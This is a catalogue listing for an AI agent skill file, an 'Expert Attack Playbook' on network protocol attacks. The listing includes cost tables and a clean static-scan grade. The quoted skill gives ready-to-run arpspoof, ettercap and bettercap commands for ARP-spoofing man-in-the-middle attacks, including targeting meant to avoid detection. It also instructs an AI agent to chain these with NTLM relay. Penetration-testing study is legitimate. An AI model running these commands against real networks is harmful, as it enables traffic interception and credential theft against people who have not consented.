Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00069 | $0.02796 |
| Opus 5.5 | $0.00028 | $0.01118 |
| Sonnet 5.5 | $0.00014 | $0.00559 |
| Haiku 4.5 | $0.00007 | $0.00280 |
Grade A, and why
network-protocol-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to network-protocol-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

SKILL: Network Protocol Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

Before going deep, consider loading:
- tunneling-and-pivoting after establishing MitM position for traffic redirection
- ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
- unauthorized-access-common-services for exploiting services discovered during network attacks
- traffic-analysis-pcap for analyzing captured traffic from MitM
Advanced Reference
Also load NAME_RESOLUTION_POISONING.md when you need:
- Detailed Responder/mitm6 configuration and workflows
- NTLM relay target selection and chaining
- Credential format analysis and cracking priorities
1. ARP SPOOFING
Gratuitous ARP — MitM Positioning
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
Selective Targeting
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
Detection Indicators
- Duplicate MAC addresses in ARP table
- Gratuitous ARP storms from non-gateway IPs
- Tools:
arpwatch, static ARP entries, 802.1X port authentication
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 331 lines · 69 tokens per session scan A 332e60484c9b
network-protocol-attacks is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 69 tokens to every session and 2,796 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to network-protocol-attacks, differing in 0 lines, and is treated as a copy.
